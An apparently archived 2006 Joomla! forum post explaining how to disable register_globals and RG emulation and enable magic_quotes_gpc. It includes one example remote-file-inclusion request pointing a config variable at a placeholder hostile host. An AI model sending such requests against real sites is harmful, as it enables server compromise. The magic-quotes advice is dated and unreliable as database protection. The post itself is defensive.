Joomla! Discussion Forums



It is currently Thu Nov 26, 2009 11:58 am (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.



Post new topic This topic is locked, you cannot edit posts or make further replies.  [ 1 post ] 
Author Message
Posted: Sat Sep 09, 2006 7:38 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Fri Sep 16, 2005 8:41 pm
Posts: 3652
Location: NRW - Germany
In Joomla! 1.0.11, three security messages have been introduced to make Joomla! installations more secure. The following explanations should help you understanding and solving the issues behind this.

Please notice that this topic is locked. If you want to discuss it, go here.

Register Globals
What does it do?
The function register_globals helps lazy developers with coding their programs. It basically takes all values, that are passed over to the script and puts them into variables. This means that
Code:
index.php?foo=bar

automatically creates a variable $foo with the value bar in the script index.php.

Why is this bad? The culprit with this functions is, that it does not check the value for anything harmfull. So if I want to overwrite the path Joomla! uses to include files, I could just pass this over to the script:
Code:
index.php?mos_config_livesite=http://bad.hacker.tld

Now the index.php will try to include their files and loads a file from a hostile server. With this script, the hacker has gained entry to your server.

The function itself is not bad. If you check each variable before using its content, you are practically safe and this feature is helping you (as a developer). The problem is, that a lot of developers deliver sloppy work and don't check all their variables. In Joomla! its even simpler. For developers there is a function called mosGetParam(), that does (allmost) all the checking for you and its so easy to use. If all developers would use this function and not rely on register_globals, we would have very little security problems.

How can I turn register_globals off?
There are several ways how to turn off the function register_globals.

Apache/PHP configuration files outside of your website's folder
If you have access to the configuration files of your server, you can put
Code:
register_globals = Off

in them. You should have some experience with this. When you do something wrong, your server could stop responding!

.htaccess file
On most servers, you can configure the Apache with files with the name .htaccess. These files can not be read from the web! Often you can't just copy such a file on your webspace, but you can rename a file to .htaccess. To create this file, just open a text-editor like Notepad or on Linux vi (NOT Word!!) and insert the line
Code:
php_flag register_globals off

If you safe this now in the root folder of Joomla!, register_globals is now turned off for your whole site and all sub-folders.

php.ini
When the .htaccess file does not work, you can try to use a php.ini file. This is allmost the same, but the line has to be
Code:
register_globals = off

and you have to copy this file into EACH folder of your Joomla! installation. This posting can help you with that.

If all of these measurements do not show any effect, you should contact your provider and tell them to turn it off for you.
If they refuse to do so, you should consider changing your hosting, since this is a basic (security) setting that has been around for years.

Magic Quotes
What does it do?
This function makes sure that all variables that are handed over to your database are getting escaped. This means that potential hacker attempts on your database through PHP scripts are prevented. This option should be turned ON!

How can I turn magic_quotes_gpc on?
Basically its the same as with register_globals, the only difference is, that you have to put the following line in your .htaccess:
Code:
php_flag magic_quotes_gpc on

And in the php.ini:
Code:
magic_quotes_gpc = on


RG Emulation
What does it do?
RG Emulation is an emulation of the function register_globals. It prevents a lot of security holes that come with the real register_globals and makes a lot of (sloppily coded) extensions work, although register_globals is turned off. But unfortunately it does not close all security holes and therefore, you should turn this feature off.

How can I turn rg_emulation off?
Open the file globals.php in your Joomla root folder and search for the following line:
Code:
define( 'RG_EMULATION', 1 );

Now change the 1 to a 0 (zero) and save the file. Now the emulation is turned off and your safer. If you have now extensions that don't work, please look here.

Is my site now secure?
No. There are several more ways a hacker can gain entry to your server. These three settings just close up the three biggest holes in your server. Security in general is never complete and this means, that you can only make it as hard as possible for potential hackers to gain entry to your site. To ensure more security, allways use the latest version of Joomla! and of all extensions you are using on your site. Further you should register yourself to the anouncenment board of Joomla! by clicking the Notify button and read the security forum.

_________________
god doesn't play dice with the universe. not after that drunken night with the devil where he lost classical mechanics in a game of craps.

Since the creation of the Internet, the Earth's rotation has been fueled, primarily, by the collective spinning of English teachers in their graves.


Last edited by Hackwar on Mon Sep 11, 2006 11:55 am, edited 1 time in total.

Top
   
 
Display posts from previous:  Sort by  
Post new topic This topic is locked, you cannot edit posts or make further replies.  [ 1 post ] 

Quick reply

 



Who is online

Users browsing this forum: No registered users and 33 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group